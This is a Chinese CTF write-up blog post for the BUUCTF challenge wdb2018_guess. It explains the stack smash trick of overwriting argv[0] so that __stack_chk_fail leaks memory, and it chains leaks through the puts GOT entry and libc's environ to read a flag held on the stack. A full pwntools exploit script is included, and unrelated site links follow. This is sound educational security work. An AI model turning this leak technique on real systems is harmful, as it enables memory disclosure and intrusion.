[BUUCTF]wdb2018_guess——Stack smash技巧

2024-03-05 01:59

本文主要是介绍[BUUCTF]wdb2018_guess——Stack smash技巧,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一道很有趣的题,算是Stack smash的典型

checksec一下,发现开了Canary,但是没开PIE,大概率需要我们搞定Canary

 Canary的大体机制在这里就不再赘述了,如果你不了解Canary机制,可以去CTF-wiki:Canary - CTF Wiki上去了解。能搜这篇文章的人想必大多都对Canary有所了解,知道Canary会阻止我们的栈溢出攻击,但是我想很多初学者一开始不会注意Canary触发时的错误信息:

 可以看到canary被篡改后,被程序检测到,触发了__stack_chk_fail函数,这个函数会打印报错信息和程序名——即对应main函数的参数:argv[0],这个参数是被保存在栈上的,栈往下稍稍一翻就能看见这个指向程序名的指针。

于是我们就有了个思路,我们可以利用栈溢出漏洞把这个参数给他覆盖成一个地址——这个地址里面有我们想泄露的东西,同时这次溢出还会触发__stack_chk_fail,从而把想要的数据给泄露出来。不过由于__stack_chk_fail之后程序就寄了,所以它只能在有fork函数进行自我复制的程序中使用,或者用它泄露已经读进来的flag。

下面结合本题来讲一下stack smash这个技巧的实战,以标题中的题目:wdb2018_guess为例。

一个很简单的流程,把flag读进来,然后主线程疯狂fork,子线程会让你猜flag,猜flag的时候有个gets栈溢出漏洞,可以溢出到很远的地方。

可以看到最上面很明显有被读进来的flag,从图中也能算出我们写入的数据的起始地址,而在下方r13寄存器下面的指向程序名的即是main的argv[0]参数。我们用gets将其覆盖之后就可以通过触发__stack_chk_fail 实现一个任一地址读。

这里先讲一下fork函数,fork是复制一个完全和原线程一模一样的线程,其子线程的栈/堆/libc的虚拟地址是不变的,这也是我们这个攻击方案的必要条件,关于这一点可以看这位大佬的博客:fork之后子进程到底复制了父进程什么_王小闹儿的博客-CSDN博客_子进程复制了父进程哪些内容这里就不再细说了。

libc中有一个变量environ,储存着栈地址。我们只要得到libc基址,就可以算出这个变量的地址,再次用__stack_chk_fail读取这个变量就可以得到栈的一个地址,就能计算出读进来的flag的地址,从而再次用stack smash读取flag。

(这里得到了栈基址,也可以通过读取栈上存留的用作对照的canary值,来绕过canary,这样应该能拿到shell。这是另一个技巧,今年春杭电Hgame中我记得就有这样一道题。这一题我还没试,以后有机会细说)

exp:

from pwn import *context.terminal=['tmux','splitw','-h']
r=process('/home/wjc/Desktop/GUESS')
#r=remote('node4.buuoj.cn',29734)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
e=ELF('/home/wjc/Desktop/GUESS')gdb.attach(r,'b*400B28')puts_plt=e.plt['puts']
puts_got=e.got['puts']r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(puts_got))
r.recvuntil('*** stack smashing detected ***:')
puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('puts_addr:',hex(puts_addr))
libcbase=puts_addr-0x06f690
print('libcbase:',hex(libcbase))
environ_addr=libcbase+libc.sym['__environ']
print('environ_addr:',hex(environ_addr))r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(environ_addr))
r.recvuntil('*** stack smashing detected ***:')
stack_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('stack_addr:',hex(stack_addr))
flag_addr=stack_addr+(0x7ffc767206a0-0x7ffc76720808)
print('flag_addr:',hex(flag_addr))r.recvuntil('Please type your guessing flag')
r.sendline(0x128*'a'+p64(flag_addr))r.interactive()

这篇关于[BUUCTF]wdb2018_guess——Stack smash技巧的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/774971

相关文章

前端bug调试的方法技巧及常见错误

《前端bug调试的方法技巧及常见错误》:本文主要介绍编程中常见的报错和Bug,以及调试的重要性,调试的基本流程是通过缩小范围来定位问题,并给出了推测法、删除代码法、console调试和debugg... 目录调试基本流程调试方法排查bug的两大技巧如何看控制台报错前端常见错误取值调用报错资源引入错误解析错误

mysql线上查询之前要性能调优的技巧及示例

《mysql线上查询之前要性能调优的技巧及示例》文章介绍了查询优化的几种方法,包括使用索引、避免不必要的列和行、有效的JOIN策略、子查询和派生表的优化、查询提示和优化器提示等,这些方法可以帮助提高数... 目录避免不必要的列和行使用有效的JOIN策略使用子查询和派生表时要小心使用查询提示和优化器提示其他常

Apache伪静态(Rewrite).htaccess文件详解与配置技巧

《Apache伪静态(Rewrite).htaccess文件详解与配置技巧》Apache伪静态(Rewrite).htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令,主要的... 一、.htAccess的基本作用.htaccess是一个纯文本文件,它里面存放着Apache服务器

Spring中@Lazy注解的使用技巧与实例解析

《Spring中@Lazy注解的使用技巧与实例解析》@Lazy注解在Spring框架中用于延迟Bean的初始化,优化应用启动性能,它不仅适用于@Bean和@Component,还可以用于注入点,通过将... 目录一、@Lazy注解的作用(一)延迟Bean的初始化(二)与@Autowired结合使用二、实例解

前端 CSS 动态设置样式::class、:style 等技巧(推荐)

《前端CSS动态设置样式::class、:style等技巧(推荐)》:本文主要介绍了Vue.js中动态绑定类名和内联样式的两种方法:对象语法和数组语法,通过对象语法,可以根据条件动态切换类名或样式;通过数组语法,可以同时绑定多个类名或样式,此外,还可以结合计算属性来生成复杂的类名或样式对象,详细内容请阅读本文,希望能对你有所帮助...

Pandas中多重索引技巧的实现

《Pandas中多重索引技巧的实现》Pandas中的多重索引功能强大,适用于处理多维数据,本文就来介绍一下多重索引技巧,具有一定的参考价值,感兴趣的可以了解一下... 目录1.多重索引概述2.多重索引的基本操作2.1 选择和切片多重索引2.2 交换层级与重设索引3.多重索引的高级操作3.1 多重索引的分组聚

Redis多种内存淘汰策略及配置技巧分享

《Redis多种内存淘汰策略及配置技巧分享》本文介绍了Redis内存满时的淘汰机制,包括内存淘汰机制的概念,Redis提供的8种淘汰策略(如noeviction、volatile-lru等)及其适用场... 目录前言一、什么是 Redis 的内存淘汰机制?二、Redis 内存淘汰策略1. pythonnoe

怎么关闭Ubuntu无人值守升级? Ubuntu禁止自动更新的技巧

《怎么关闭Ubuntu无人值守升级?Ubuntu禁止自动更新的技巧》UbuntuLinux系统禁止自动更新的时候,提示“无人值守升级在关机期间,请不要关闭计算机进程”,该怎么解决这个问题?详细请看... 本教程教你如何处理无人值守的升级,即 Ubuntu linux 的自动系统更新。来源:https://

将Python应用部署到生产环境的小技巧分享

《将Python应用部署到生产环境的小技巧分享》文章主要讲述了在将Python应用程序部署到生产环境之前,需要进行的准备工作和最佳实践,包括心态调整、代码审查、测试覆盖率提升、配置文件优化、日志记录完... 目录部署前夜:从开发到生产的心理准备与检查清单环境搭建:打造稳固的应用运行平台自动化流水线:让部署像

Java 枚举的常用技巧汇总

《Java枚举的常用技巧汇总》在Java中,枚举类型是一种特殊的数据类型,允许定义一组固定的常量,默认情况下,toString方法返回枚举常量的名称,本文提供了一个完整的代码示例,展示了如何在Jav... 目录一、枚举的基本概念1. 什么是枚举?2. 基本枚举示例3. 枚举的优势二、枚举的高级用法1. 枚举